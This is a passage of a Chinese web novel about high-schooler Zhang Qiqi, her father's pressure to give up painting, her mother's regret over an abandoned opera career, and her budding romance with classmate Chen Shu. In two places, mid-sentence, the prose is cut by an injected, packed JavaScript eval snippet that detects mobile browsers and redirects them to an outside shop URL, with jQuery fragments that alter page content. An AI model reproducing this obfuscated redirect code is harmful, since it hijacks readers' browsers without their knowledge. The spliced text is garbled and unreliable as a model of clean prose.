除此之外,全部依靠学校的试卷来巩固知识也是不理智的,据张期期所了解,他们重点一班的同学会根据自身某方面知识面的短缺进行恶补,因此学校和自身两方面都要顾全的话,时间真的不太够用了。 她目前就是这种状况,更别说她还要空出来一天的时间上美术培训课,所以今天她估计要刷题刷到很晚很晚了…… 张期期揪了揪扎成一小团的丸子头,抓狂道,“还有好多试卷没写啊!!” ……明天的美术培训课她还是想上,她都坚持学习好几年了,又或者出于某种隐秘的渴求,她直到现在都不愿意放弃。 张期期耳边蓦然又回响着张世明的话,「学习上要多花点心思,将来考个好学校,像你敬亭哥哥那样学金融,以后给爸爸帮忙,爸爸就不用那么忙了。」 「画画、钢琴、舞蹈那些都是学来消遣打发时间的,还是得学一些正经的东西。」 …… 心情浮躁!张期期越想越觉得心情浮躁,作业也写不下去了,她不明白为什么画画就是消遣和打发时间的东西,为什么她爸会觉得画画不是正经的东西! 张期期将黑色水笔啪地一下拍在桌面上,拎着刚买的画笔和颜料跑上了她专门用来画画的阁楼。 阁楼上收纳着她以前画过的作品,她一张张地翻动着,看了又看,翻完后又小心翼翼地放回去,开始摸起画笔来,她的指尖摸过毛刷泛起轻微的痒意,各色的颜料挑了又挑,一瓶瓶拿出来看一看,打开闻一闻…… 终于在阁楼上呆了一个多小时后,张期期的心终于渐渐平静下来,她深吸一口气下了楼,回到桌前继续提笔刷题。 * 翌日,周日。 窗外滴滴答答雨声作响,拍打在窗玻璃上的雨珠汇聚成一股水流顺着玻璃滑过,留下湿漉漉的水痕。 张期期紧皱着眉头坐在床上,她拥着空调被透过朦胧的玻璃看见窗外的树干摇摇晃晃,起大风了吗? “嘶——头痛。” 她昨晚刷题刷到凌晨两点钟,物理、数学试卷大题她都没写过程,直接写上公式和数据就算了,语文作文、阅读,英语作文统统不写,化学、生物也是大题能怎么略写就怎么略写着来,紧赶慢赶才终于才试卷大致答完。 张期期洗漱完,背上斜挎的帆布包,眼睛下挂着两个硕大的黑眼圈下楼吃早餐。 “爸、妈,早上好。”张期期困倦不已地坐在餐桌前,拿起杯子喝了口热牛奶。 今天周日,张世明刚好在家,他拧着眉心,沉声道:“学习这么累,听爸爸的话,那个美术课咱就不去上了,那是给你放松学习压力才报的,可不是让它占据你学习的时间和精力。另外你要是有时间的话,可以来爸爸的公司看看,先接触一下。” 戚和风也道:“期期,你的黑眼圈太重了,昨晚是很晚睡吗?要不今天就别去了,在家里休息休息怎么样?” 许是窗外淅淅沥沥的雨声听得张期期心烦气躁的,她眼眸微垂,一言不发地将杯子里的牛奶喝完,然后拿起盘子里的三明治,再捞上斜挎包,装出一副急忙的样子,“爸妈,我有点事得早点出门,啊……先不说了……我先出门了。” “期期……怎么这么急……哎你……”戚和风对着跑出家门的张期期喊了两声。 张世明脸色变得有些难看,“算了,都走了。她明摆着就是不愿意听我的话。” 戚和风一脸无奈,责怪地看了张世明一眼,“我说你也是的,期期想画画就画呗,你干嘛非让她掺合公司的事,她都没有这个兴趣。” “画画画!有什么好画的!” 张世明脸色沉郁,曾经许家比他们张家发家的时间还慢,也远远逊色于他们张家,然而自从许州娶了新兴科技林家的林瑶之后,许家的资本已经远超他们张家了,听说许敬亭那小子最近还和政府合作拿下了一大块地皮。 昨天晚上应酬时,他才渐渐发觉原本是世家中心的张家仿佛渐渐被边缘化了,他们已经谈起了科技、医药这些巨额利润的产业,但他张家还停留在酒店行业,甚至他找不到入口去分这些巨额产业一杯羹。 许家许敬亭一个年纪轻轻的小伙子却因为背后的许家和林家,如今在圈子里话语权甚至都要重过他了。 他想到许敬亭高中时也是在京照一中读书,大学上了国内顶尖学府华大的金融管理专业,他们期期也很优秀,将来必定不能输给许敬亭。 然而刚才,张期期仿佛在无声地反驳他给她安排的规划,这让原本憋了一口气的张世明突然爆发了。 戚和风吓了一跳,“世明……你那么生气干嘛?” 张世明猛然侧头看向她,怒道:“你帮不上忙就算了,期期学画画学得心都野了,不肯按照我好好给她规划的,将来她怎么帮我?” 他气势汹汹地起身,椅子猛的往后一挪,擦着地板发出刺耳的声响,男人转身往楼上走去。 戚和风白着一张脸,仿佛被雷劈了一样呆愣在原地,脑海里一直回响着“你帮不上就算了……将来她怎么帮我”,世明这是嫌她是个拖累了吗?嫌普通家庭出身的她没有办法给他工作上增加助力了吗? 这一刻,她只觉得头晕目眩,她的世界仿佛在高速旋转着,无数包含讽刺的、阴阳怪气的、不看好、苦口婆心劝她的话从四面八方而来挤入她的脑海里。 「男人最重事业,像你这种菟丝花一样的女人,根本没办法给世明哥哥助力,早晚呐,他会醒悟过来的。」——张雅兰抱胸笃定地望着她。 「呦,现实版“灰姑娘嫁入豪门”啊……」 「一个唱戏的,玩玩而已啦!她身后没有家族助力,张世明厌倦她是迟早的事情。」 「小风,妈妈不看好你们两个人的感情,差距太大了,不要在错误的感情上耽误时间和精力,要好好发扬你师傅教给你的东西,那才是你的立身之本。」 「小风,师傅教给你这么多年的东西,你如今就直接放弃了吗?你是师傅最看好的弟子啊,我这么多年的心血啊……」 …… 窗外的雨声更大了,甚至还伴着轰隆隆的雷鸣声,凉风裹着雨丝飘进来,吹得戚和风打了一个哆嗦。 当年所有人都不看好她的婚姻,等着她败北,可是十几年了,世明洁身自好,用行动狠狠打了那些人的脸,当年那些嘲讽冷眼都变成了羡慕和嫉妒,在这个只计较利益的圈子里,她和世明的婚姻被所有人奉为圈内唯一的真爱。 然而今天……今天他却说出,“你帮不上忙就算了”,戚和风喉咙里发出嘶哑的声音,她想歇斯底里地尖叫,什么叫她帮不上忙就算了,什么叫她帮不上就算了,当年他不就是说喜欢这样的她,无论什么样的她都喜欢吗? 为什么为什么!如今为什么要说这样的话! 难道这十几年来她就没有牺牲吗?她牺牲了她的事业,牺牲了她的舞台,她的朋友越飞越高,她却只能留在原地远远地看着她们高飞,明明她曾经比她们还要优秀! 她是师傅竭尽心力用心教导的弟子,她嫁入了张家,为了他们张家的体会,就此将曾经学了十几年的戏曲抛下,师傅去世前都不肯原谅她。 她的妈妈,也为此再也不愿意见她。 难道她就没有牺牲吗?凭什么凭什么今天他张世明居然说出这般令她寒心的话!她帮不上忙这件事,当年娶她的时候他就应该清楚不是吗?” - “叮——”门铃突然响了起来。 清脆的门铃声唤回了沉浸在戾气、不平中的戚和风,她无力地瘫靠在椅背上,平复着强烈波动的情绪。 莲姨听见门铃声响立刻从厨房里出来,跑过去开了门。 “你好,戚和风的快递,麻烦签收一下。”是顺丰快递小哥。 顺丰快递员离开后,莲姨关上门,“太太,您的快……”递…… “太太!”莲姨转身看见一脸疲倦的戚和风,惊声道:“太太!您怎么了?是身体不舒服吗?要不要看医生?” 戚和风摆了摆手,单语气平静,“我没事,你去帮我倒杯水过来吧,快递也拿过来给我。” “好的,太太。”莲姨从玄关处拿了把剪刀,将快递上面的塑封胶滑开后拿给了戚和风,又走进厨房里倒了杯温水放在桌子上。 ……先生呢?先生这么快就吃完了吗?莲姨本想开口问一句,然而在触及期和风的眼神时,她莫名将疑问咽了回去。 快递盒里是两张戏曲舞台剧的门票,戚和风此时却觉得无地自容,她握着门票的手微微颤抖,努力平复下来的心绪再起波澜。 她望着窗外的大雨,眼前却仿佛浮现了当年她站在舞台上身姿婀娜的模样,如果她抛弃一切得来的爱情其实在利益面前不堪一击,那她要如何面对十几年来错过的光阴。 * 暴雨如注,天色灰蒙蒙的。 美术培训室内,白织灯散发着冰冷的光芒,哪怕是下着大暴雨,室内依然坐满了人。 张期期握着画笔全神贯注地在纸面上描绘着,培训室安安静静的,唯有画笔不断地在纸面上摩擦的声响。 画室的老师蹑手蹑脚地巡视着全场,力求不发出任何声响让学生安静地创造他们的世界。 …… 时间一晃而过,就到了下午培训课结束的时间。 为了不让画笔更难洗,画室的同学都是画完就带着笔进卫生间,用清水赶紧冲洗掉。 今天阴雨连绵了一整天,因此明明是下午五点多,天色却暗得仿佛要入夜了一样。 张期期看着画板上还未完成的画作,无奈地叹了一口气,她心里清楚是因为早上她甩了她爸爸妈妈脸色,所以她今天一整天心都静不下来,忐忑和后悔的情绪交织在她的心中。 画室的老师突然走了过来,站在了张期期的身旁打量着她的画作。 “期期,你用色是很大胆,但画作上有些细节的地方处理得有点粗躁啊,再耐心点、细心点。” 张期期点点头,“好的,老师,我知道了。” 画室老师笑了笑,“没事,是个小问题而已。”她其实非常喜欢张期期,她的作品特别有灵性,大胆、热情,再加上她并不走美术艺考这条路,所以她并没有针对各大美术学院喜好的方向去调整,因而她的画极其富有她个人的风格。 张期期和画室老师聊了好一会儿,才结束了今天的美术学习,她攥着一大把画笔走进卫生间的洗手台上开始冲刷着画笔。 …… “我真不知道为什么,明明她不走美术艺考这条路,偏偏要霸占我们培训室学生的名额。” “哎……人家有钱就是没办法啊!她也交了学费,不管她走不走美术这条路,人家就有资格来这里上课啊!” “你到底是谁朋友啊,干嘛替张期期说话啊,我们美术培训室的老师都很厉害的,一年就招十八个学生,就张期期一人不走美术这条路却还要来霸者一个名额,要不是她的话,晓雨肯定也能来我们培训室的!” “唉,晓雨确实好遗憾……” 画室内的卫生间是呈L型的,张期期垂眸,神色平静地继续冲着画笔,而从隔间那一侧走出来后,议论着张期期的女生们一个拐弯便看见张期期攥着已经洗好的画笔,站在洗手台面前通过镜子与她们俩对视着。 她们顿时一阵尴尬,这……张期期不是在和老师聊天吗?而且她们进来的时候余光瞥了一眼她的画作,估计还有挺久才结束的啊…… 张期期转过身来,神色平淡,“我想你应该搞错了,我们培训室是只招十八人没错,但也是凭实力录取的,你的朋友并不是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594024|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我挤掉了名额,而是她根本就不够格进我们培训室。” 她说完,将还带着水渍的一捆画笔甩了甩,飞溅的水珠恰好打在了两名女生的裙子上。 “啊——你有病吧,张期期!” “我们也没说什么啊,你居然用水溅我们……” 张期期并不理会这两人的话,回到画室背上斜挎包拿上雨伞便离开了。 - 商都门口,凉风裹着微雨吹了进来,刚走到门口的张期期猝不及防被溅了几缕,她扯了扯嘴角,想起刚才故意溅湿同学的行为,心道,不是不报时候未到啊,看,这不就是现实报了吗? 此刻她的心情非常糟糕,早上的事再加上刚刚同培训室两个女生说的话,到底让她心底微微动摇了。 有意义吗?张期期问自己,明知道不可能像她们一样走美术艺考的路,明知道就算她再如何挤压文化课的学习时间去学素描、色彩、速写,她都没有选择。她真的不怕到头来两头空吗? “期期!上车!”因为下雨塞车的李叔终于到了。 要回家了!张期期深吸一口气,回家和爸爸妈妈道个歉吧,早上她真的太没礼貌了…… * 与此同时,另一边—— 雅思考试已经结束了,陈恕撑着雨伞背着书包从考场中走出来,他回想了一下整个考试的过程,自觉应该考得还不错。 自从期期的MP4暂时放在他那儿之后,他每天都会模仿播放文件里英语的读音,甚至有时候他也会用山地车专卖店里前台的电脑下载一些英语口语资料来练习,所以这次的口语他不会像最开始的时候口音严重了。 他选的是机考,成绩大概会在三四天之后就出来了,想到此,陈恕顿时松了一口气,这些日子来,他在时间上见缝插针地兼职就是为了雅思这笔两千多块钱的报名费。 站台上,公交车减速缓缓停在了陈恕的面前,他收起伞甩了甩水珠之后才上了车。 车内拥挤闷热,车面上满满是脚底踩出的泥沙,陈恕握着高位把手,侧首隔着窗户望着雨幕中的京照市,去年约莫在这个时候他终于在警方的帮助下走出了大山。 那天也下着雨,他回到了阔别已久的家乡,只是一切都回不去了。 那日,派出所里白织灯冰冷透亮,穿着一身制服的警察告诉他,他愿意的话将来可以学法,他可以用法律这个强大的武器维护这世界他心中的正义和公平。 那一刻他的心脏砰砰直跳,浑身战栗,他人生中大雾弥漫的前路突然照射进一缕耀眼的光芒,而他直至此刻,依旧在一步步地践行他立下的目标。 暴雨如注,公交车行驶在324国道上,车辆的右侧是金河湾商都,陈恕余光随意地瞥过去,突然视线一滞,那是……期期。 疾驰而过的瞬间,他看见她撑着伞坐进了汽车内。 他回头一直望着,公交车继续前行,她坐的汽车往反方向行驶,很快就消失在朦胧雨幕中。 陈恕收回视线,微微垂眸,若是他真的去了德国,七个小时的时差,横跨七千多公里,坐飞机要十二个小时,这一些是否会成为他和她渐行渐远的因素?就像今天一样…… 她闯入了他的世界中,她能随意抽身而出,但是他自己呢?他能忍受她的离开吗?如果他不曾见过太阳,他本可以忍受黑暗……*1 他心中忍不住动摇起来,与此同时,残酷的过往、母亲的逝去、弟弟的失踪也同样浮现在他的脑海里,这一刻他感觉自己要被撕碎成两半,一半留恋着现在的安乐,一半怨愤着昔日的苦痛,他攥紧了高位把手,他……难以抉择…… * 皇家园林别墅区,张家。 张期期在家门口绕着门廊来来回回走着,犹豫不决,她只是想就今天早上说话的态度道歉而已,但万一她爸理解成,她妥协了,不再去上美术课了,那怎么办? 要是她爸说了,她肯定会拒绝的,拒绝了,她爸又生气了怎么办? 啊——好难啊!张期期长长叹了一口气。 “喂——” “期期……你干嘛呢?下雨了在门口散步吗?”许兰亭手撑着把黑伞隔着雨幕大声嘲笑道。 张期期豁然转身,兰亭……诶? 她视线上上下下打量了许兰亭几眼,嗯?居然穿着正式的西装马甲套装,还做了个发型,一副正经大人的模样。 “你怎么这幅打扮?” 许兰亭哦了一声,随意道:“被我哥抓去参加一个宴会了。”他哥刚刚车他到别墅区门口又回公司去了。 张期期眼眸微转,宴会吗?怎么他爸没说?以往许家参加的宴会,肯定也会邀请张家的啊,难道早上她爸让她不去上课是因为有宴会要让她跟着去? 原来如此……啊——她更不好意思了。 如此,张期期也没有多说,赶紧朝许兰亭挥了挥手,“我进去了,明天学校见。” “学校见。”许兰亭撑伞离开,心中抱怨,真羡慕期期,她不想去就可以不去,哪像他哥硬逼着他去!诶……等等,好像今天他也没见到张叔叔呀!奇怪! - 家里安安静静的,只有饭菜的香气从厨房内溢散出来,张期期随手将斜挎包放在沙发上,她走到厨房门口,拉开玻璃门,笑着道:“莲姨,我爸妈呢?在家吗?” 莲姨闻声回头,“呀,期期回来了啊……先生太太在楼上,但是……”她神色纠结,先生太太的事情不是她可以在背后议论的。 “怎么了?”难道她爸还在生她的气?张期期内心忐忑。 “哎!”莲姨想了想,硬着头皮道:“先生太太不知道是不是吵架了,中午吃饭的时候我感觉气氛不太对劲,也不是……从早上好像就……” 早上?张期期懊恼地拍了拍自己的头,肯定是她惹她爸妈生气了,她爸妈是不可能吵架的,气氛不对,就是她的锅了…… 说话间,张期期看莲姨已经煮好了晚饭,便道:“好,我知道了,莲姨。我这就上去叫我爸妈吃饭。” 83. 第 83 章 - 眼看着就要到平时张期期上完课回家的时间点,戚和风呕了一天的气终于在此时微微消散,她是成年人了,不该因为他们长辈的问题让这个家气氛尴尬起来,也让期期难受。 想到女儿期期,戚和风的心慢慢软下来,决定给张世明一个台阶下。她倒了杯水,往书房走去。 戚和风轻轻敲了敲书房门,随后拧开门把手走进去,张世明就坐在书桌前下意识皱着眉头望过来。 见是戚和风,张世明的眼底闪过一丝不自在,他将笔记本电脑合上,起身接过对方手里的水杯,再环抱着她的肩膀将人带到书桌前的沙发上。 张世明随手将水杯放在茶几上,温声道:“……怎么了?” 戚和风自然不会主动数落今天他的言行,但这也不代表她就选择若无其事地揭过此事,这会儿她主动过来便已经摆明了她的态度,再多的……那是不可能的。 因此,张世明问她怎么了,她便微垂着眼帘一言不发。 张世明余光瞥了一眼已经合上的笔记本电脑后,他收回视线看着眼前明明年纪已经四十好几却依旧美艳动人的女人,这些日子郁郁不得志的愤懑在这张脸面前到底还是散去了一些。 想起当年在舞台上闪耀无比、让他猛然动心的场景,他握住戚和风的手,“早上是我失言了……小风。我不是故意的,只是……” “哎——”他长长地叹了口气,继续道:“今天其实有个宴会的,但……没有邀请张家,因为我们张家和那些行业根本搭不上边,这两年我有意接触一些新兴的行业,但苦于没有人愿意带着……本来羹就少,人家不带上张家也是正常,只是我到底有些不甘心。” “许家那小子实在优秀,我们期期……志不在此。我实在心急……” 戚和风听着,嘴里一阵苦涩,这些事就算张世明和她说,她也帮不上任何忙,最终她仅仅是拍了拍张世明的手背,柔声道:“我明白了,张家的连锁酒店已经做得很好了,我们家就期期一个女孩子,你不需要有那么大的压力。” 张世明眼神一滞,他……他并不是怕留给女儿的不够,算了,她无法理解他在事业上的执念。 “我知道了。”张世明点了点头又道,“应该要吃晚饭了,我们先下楼吧。” 他牵着戚和风的手走出房门,一垂眸就和眼珠子滴溜溜转的女儿期期对上了眼,她正扒在门上竖着耳朵,张世明笑着问,“期期?你偷听我们讲话?” 才刚刚扒在书房门上的张期期:…… 她一句话都没来得及听到啊!但……她垂眼望见父母牵着的双手,心里泛起欢喜,啊——看来爸妈没怎么生气嘛! 张期期嘿嘿地笑了笑,“我是上来叫你们吃饭的……爸妈,吃饭了。” 说完,她转身就溜,算了,应该不用和她爸妈道歉了,看起来她爸已经完全不介意了,再提起来的话,万一又叫她不去上美术课,她又拒绝,她爸又生气!真的还是算了…… 此时,下了一天的雨慢慢停歇,张家一家三口其乐融融地吃完了晚餐,张期期陪着父母坐了一会儿后才回房间继续学习。 * 翌日。 许是因为昨日连下了一天的雨,今早起来空气中还带着轻微的湿意,京照市总算不像前阵子像个蒸笼那么闷热了。 也是在这一天,张扬在上课前预告了今年暑假他们高二的放假时间——七月二十五号。 张扬刚说完,教室内哀嚎声一片,“暑假暑假!我两个月的暑假到哪儿去了……” “我那么大的一个暑假好大儿,怎么缩水了啊!” “7月25号?都月底了啊,这跟放寒假的时间差不多吧?” “……” 许兰亭拍桌怒道,“是不是学校偷偷让我们补课!我要去教育局告发学校!” 张扬闻言,眉头皱得死紧,他挑了小块的粉笔往许兰亭桌面上一丢,“说什么呢!下学期都高三了,就是得抓紧时间学习,你们难道还想玩?真给你们放两个月回来心都野了!” 张期期也撇了撇嘴,满脸不乐意,“谁不想玩啊……” 张扬:……合着你们是一点压力都没有的啊! “人家省金中八月就开学了,暑假就放一星期,你们知道吗?” 啊这…… 重点一班的同学面面相觑,许兰亭忍不住举手道:“不是……他们有病啊!他们不举报学校的吗?这严重不合理啊!” 班上的同学议论纷纷,陈恕则在心里计划着将近一个月多的假期,他要怎么赚到更多钱? 张扬拍了拍桌面,强力将班上的嘈杂镇压了下来,“上课了,把周末发的试卷都拿出来……” …… 午后,被云层遮住的太阳悄悄跑了出来,耀眼的光芒再次倾洒而下,校道上昨日留下的水渍在慢慢升高的温度下悄然蒸发。 此时正是午休,重点一班趴下了一大半的同学,还有一部分不知疲倦、压缩自己的休息时间继续研究题目。 张期期这会儿并无睡意,她轻轻将椅子搬起来放到陈恕的座位旁,又将她桌面上的英文周报铺在对方的桌面上,轻声道:“陈恕……这道阅读理解选什么啊?B和C我很犹豫耶。” 陈恕点头,“这道题啊……嗯,我看看。”这是一道阅读理解下面的选择题,他要先看看这篇阅读理解。 几分钟后,陈恕抿了抿唇,无奈道:“选D。” 张期期:…… “怎么就选D呢?这是我第一个排除的选项啊!” 陈恕:“你得看看清楚题目问的是什么?而不是在文章中找到B、C选项里某个单词的存在就确定答案在这两者之中。” 答题模式被一语猜中的张期期:…… 她沮丧道:“好吧,那你给我讲讲吧。” …… 少年压低着嗓音近乎轻声地给她慢慢疏离着文章的意思,她不认识的单词,他挨个解释给她听,甚至还拓展出一些近义词、反义词,明明他自己只需要看个几分钟就能全文理解的文章,他却用了半个小时的时间来教她。 张期期盯着少年微微嗡动的薄唇,他的唇色极淡又显得有些干燥,她突然间觉得心浮气躁起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606945|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来…… 陈恕讲着讲着,发现身旁的张期期看着他的目光越来越炙热,他猛地攥紧手中的黑色水笔,笔尖在草稿纸上画出一道黑线。 他下意识抿了抿唇,“怎、怎么了?” 张期期下意识啊了一声,随后心虚得立刻转过头,嘟囔道,“没有诶。” 陈恕:? 张期期顿了顿,鼓起勇气立刻转过头来,眼神坚定,“我在认真听你讲题呢!” 她的目光黏在英文周报上,耳后却悄悄漫上一层霞意。 “是吗?那我们继续讲?”发现少女脸红的陈恕也顿时不自在起来。 “讲呗。” 陈恕正在讲的这篇文章是讲关于羊养猫的故意,张期期听陈恕讲完之后,想起了她初见他的那一天。 人行道上,白色长袖衬衫、黑色裤子的男生半蹲下身子,一手撑着黑伞,一手将一只橘黄色的小猫捞起来,挂在自己的手臂上。 那时,梧桐大道两侧的路灯已经亮起,在微雨下,暖黄色的灯光铺洒下来,细细的雨帘清晰可见。 男生撑着伞,抱着猫快步跑过了她的车窗前,对方精致的眉眼清晰可见。 不远处就是公交车站台,她看见男生跑到了那里后坐在长凳上,又轻手轻脚地将小橘猫放在自己的腿上,从书包里拿出一块面包给小橘猫咬着慢慢吃。 “陈恕……”张期期回过神望着身旁的少年试探着问道,“以后……我们一起,嗯……养只小猫吧?我喜欢橘猫,可以养得肥肥的……” “橘猫很可爱的!!”她狠狠点头。 说实话,张期期在说出“一起养猫”的提议时,心中是极为忐忑的,因为很久前她也曾起过念头,想“她出钱,他出力”,将小猫养在陈恕家里,她时不时就可以让陈恕带出来,让她看看、逗着玩,但当时……她还未说出口时,便被陈恕打断了话语。 那时的他们还未像今日这般熟悉、这般认可彼此,所以当时被陈恕拒绝了是很正常的事情,现在的她也意识到当时自己的行为是有些过界和冒犯的。 而如今呢,她提出“以后一起养只猫”其实想说的不仅仅是养猫,而是暗示他,她已经将他纳入了她未来生活的规划中。 所以……陈恕,我们以后一起养只猫吧? 陈恕一瞬间怔然,以后一起养只猫……以后?一起?期期未来的人生规划中有他!意识到这一点的他心脏急速跳动着,他仿佛听到自己胸腔中发出来的激烈的跳动声。 只是……他的目光下意识地望向桌面角落上放着的小本子上,上面记着他的每一笔收入和支出,记着他想要留学需要攒的学费数额,这些生活中必不可少的鸡零狗碎会一直伴随着他,而期期……那么美好,无忧无虑。 强烈的对比之下,他的心变得酸胀,如今穷困潦倒的他养活自己都是个难题,又怎么敢开口承诺她要的未来…… 陈恕抿了抿唇,抬手摸了摸她的发顶,转移话题道,“文章已经给你顺了一遍了,你先重新答一遍题目吧。” 张期期看着他,“哦,好吧。” …… 84. 第 84 章 - 京照市,夏日的天空万里无云,一片湛蓝。燥热的风吹拂着,将一中校内天鹅湖的水面吹起一阵阵波澜,阳光照射在水面上,泛起一片金光。 树冠上蝉虫不断地鸣叫,翠绿茂密的枝桠蜿蜒盘旋向着天际生长,盛夏来临。 京照市实行的是分阶段放假,这一届的高三学生已经毕业离校,而高一学生在七月十二号的时候就已经放假,现在留在一中内的只是卡在中间不上不下的高二生,下学期的准高三生。 暑假前的倒数一周,食堂。 与以往的吵嚷拥挤不同,自高一的学生离校之后,食堂显得较为安静和宽敞了,张期期、陈恕、许兰亭、林听和周嘉先再也不用一到放学时间就快速往食堂赶,现在他们慢悠悠地走过去,都能有位置可以坐。 几人各自打完饭找了张圆桌坐一起,张期期咬着筷子道:“我们下学期就搬到另一栋教学楼了,你们的课本、学习资料应该要陆陆续续搬一些回家了,不然到时候一天应该搬不完,也拿不回去。” 她这话是对林听和陈恕、周嘉先讲的,她和兰亭的话可以到时候直接将所有的复习资料放汽车后备箱拉回去就是。 林听点点头,“是。我知道,上一年我也是陆续拿回家的。” 陈恕想着他们每个人如小山堆积似的学习资料、课本等等,微微皱起了眉头,“我们高三的教室会是上一届高三重点一班的教室吗?如果是的话,应该也就可以先把那些课本搬过去?” 许兰亭:? “把课本放教室?那暑假刷试卷的时候没课本用怎么办?” 张期期:…… 林听:…… 周嘉先:…… 陈恕:…… 他们看了一眼许兰亭都有些无语,然而许兰亭却是觉得莫名其妙,他也没说什么吧? 林听小声道:“兰亭,你刷试卷为什么还要看课本啊?我们都不用课本的。” 许兰亭啊了一声,“你们不用看公式吗?” 张期期白了他一眼,“公式这种东西还要翻书吗?” “要啊!我每次考试之前都重点背一点公式,不然会搞混的!”许兰亭理直气壮,“而且不会答的题目也可甩几个公式上去,说不定还能拿分呢!” 啊这……行吧……众人勉强地点了点头。 他们吃过午饭之后,跑去年级办公室找张扬,问清他们升上高三的教室后便决定先将一些课本放在高三教室,否则搬回家的工作量实在太大。 因此,一到下课时间、放学时间,这栋教学楼的高二生时不时搬着一沓学习资料往高三的教学楼走去。 - 周三,阴天。 早上天色刚亮的时候,张期期、许兰亭、周嘉先便鬼鬼祟祟地出现在校门口。 周嘉先一脸困顿,不死心道:“我们一定要这样吗?会不会太狂了啊?”他想到他们的计划,心中默默为自己鞠了一把伤心泪。 许兰亭拍了拍他的肩膀,气势十足,“人不轻狂枉少年!” 周嘉先:…… “是啊是啊!刚好今天阴天,实在是太好了,否则我们还怕会太晒呢!”张期期高兴道。 周嘉先看着两辆车后备箱里的东西,彻底放弃挣扎,生无可恋道:“好吧!你们开心就行。”他伸手将烧烤架搬起来,随后意识到什么似的,突然又躬下了身子。 周嘉先保持躬着身子护着烧烤架的样子偷偷摸摸地溜了进去,等门口的保安放下他那个足以挡住视线的水杯时,他已经走远了。 张期期、许兰亭从校门口看过去只能看到周假先似乎扛着什么东西而已。 两人四目相对,纷纷竖起一个大拇指!先哥就是牛,说干就干,已经帮他们将体积最大的烧烤架拿进去了,其他的东西他们完全可以搬多两次,反正都放在袋子里,谁也看不清楚到底是什么东西。 张期期、许兰亭拒绝了李叔他们想把他们拿东西的提议,这样太显眼了。 两人分别拎上几袋已经处理好的食物,神色自然地走进了学校,边走还边非常大声讨论着学习上的问题。 “昨天那道题我还是不太明白啊,我一没想通,昨晚就睡不着觉,今天我一定要研究透它,你可得好好教教我啊!” “没问题!哎!一想到还有那么多题目等着我学习,我就激动得睡不着!看,我还买了很多学习资料,让我们继续奋斗吧!” 保安满头黑线:…… 这么早就来学校学习?现在的学生迟早得疯! - 拐过弯之后,已经看不见保安亭的张期期和许兰亭对视一眼,默契地突然狂笑起来,“哈哈哈哈哈哈哈——” “有病啊!兰亭!我还担心我们这么早来学校会显得很奇怪呢!没想到你倒好,给我们安个学习疯子的形象!” “还不错吧!保安大叔真是连看都不想看我们!嫌我们晦气哈哈哈——” “你别说,你还真别说!我这不是随便想的,是有预谋的哦~我们上一届就有这么一个奇葩学长,从高一入学就是走这个风格,那保安大叔估计也知道!哈哈哈——” “是嘛!我还以为我们班已经够出格了呢……” 两人在晨曦中嬉笑打闹着,跑到了食堂,他们前一天已经和食堂大叔说好了,让他们把食物暂时存放在食堂的冰柜里。 夏日温度高,虽然他们在袋子里面放了冰袋,但食物还是容易坏掉,所以这才找食堂大叔试探着问了问,没想到食堂大叔很爽快就答应了。 从食堂出来后,张期期、许兰亭遇见了大喘气的周嘉先,许兰亭挤眉弄眼,“先哥你这体力不行啊!” 周嘉先嘴角抽搐,“喂……我可是将烧烤架搬到了顶楼天台啊!” “好啦好啦,别吵了,还有一些食物,我们再跑一趟就行了。”张期期笑着将周嘉先拉过来,顺便和他说了刚才她和许兰亭在保安面前立的人设。 听完的周嘉先:…… 他沉默地跟着张期期、许兰亭往校门口走去,走到半道上时,恍恍惚惚的他骤然出声,“不是……你们有病吧?” “哈哈哈哈哈哈哈——”许兰亭捧腹大笑,笑得直不起腰。 张期期忍了忍,还是“噗呲”一声笑出来,也跟着蹲下身子笑得直发抖。 * 顺利将两辆车后备箱里面的食材放到食堂的冰柜之后,张期期、许兰亭、周嘉先最后把烧烤专用的碳背到了教学楼顶楼天台。 一整个上午,张期期都心不在焉,又乐不思蜀的样子,陈恕皱了皱眉头,明明他在给她讲英语题,但她又又又走神了…… 见此,陈恕将黑色水笔放下,低声问:“期期……你在想什么?” 张期期闻言下意识地看了看教室内的同学,想了想,她神秘兮兮地道:“明天后天就是考试了,今天是我们高二最后一天齐坐在这间教室里,所以我想着啊……要不中午午饭大家一起偷偷去天台上烧烤吧!怎么样怎么样!我们这个提议不错吧?” 陈恕:“……” 他足足愣了好一会儿,才不可置信道:“天台?烧烤?” “对啊对啊!我们全班一起告别高二!下学期就是高三了,以后要再有这样的日子都难了!”张期期尤自激动道。 “等、等等……你们不会已经把食材和器具都弄来了吧……” “binggo!答对了!” 陈恕抹了把脸,无奈又想笑,还能怎么办?她是铁了心要在天台上烧烤……而且据他这一年对他们班的了解,班上的同学知道后估计双手双脚都会高举赞成! “是兰亭和你一起策划的?不对,应该还有先哥吧?” “哎呀,又答对了!”张期期笑意盈盈。 陈恕:……真是什么锅配什么盖!嗯……应该说是什么人进什么班吧! 他发自内心地觉得只要有张期期、许兰亭这两个家伙在,就算到了高三,他们俩依旧会整出类似的事情,什么「以后要再有这样的日子都难了」,那是绝对不可能的,甚至这两人在前面撒吖狂奔的时候,先哥都会跟在后头给他们擦屁股…… 正埋头刷题的林听因为坐得实在近,自然不可避免地听到了他们的计划,她眼神复杂地转过头来,蓦然对上了陈恕无力吐槽却不得不跟着一起纵容的眼神。 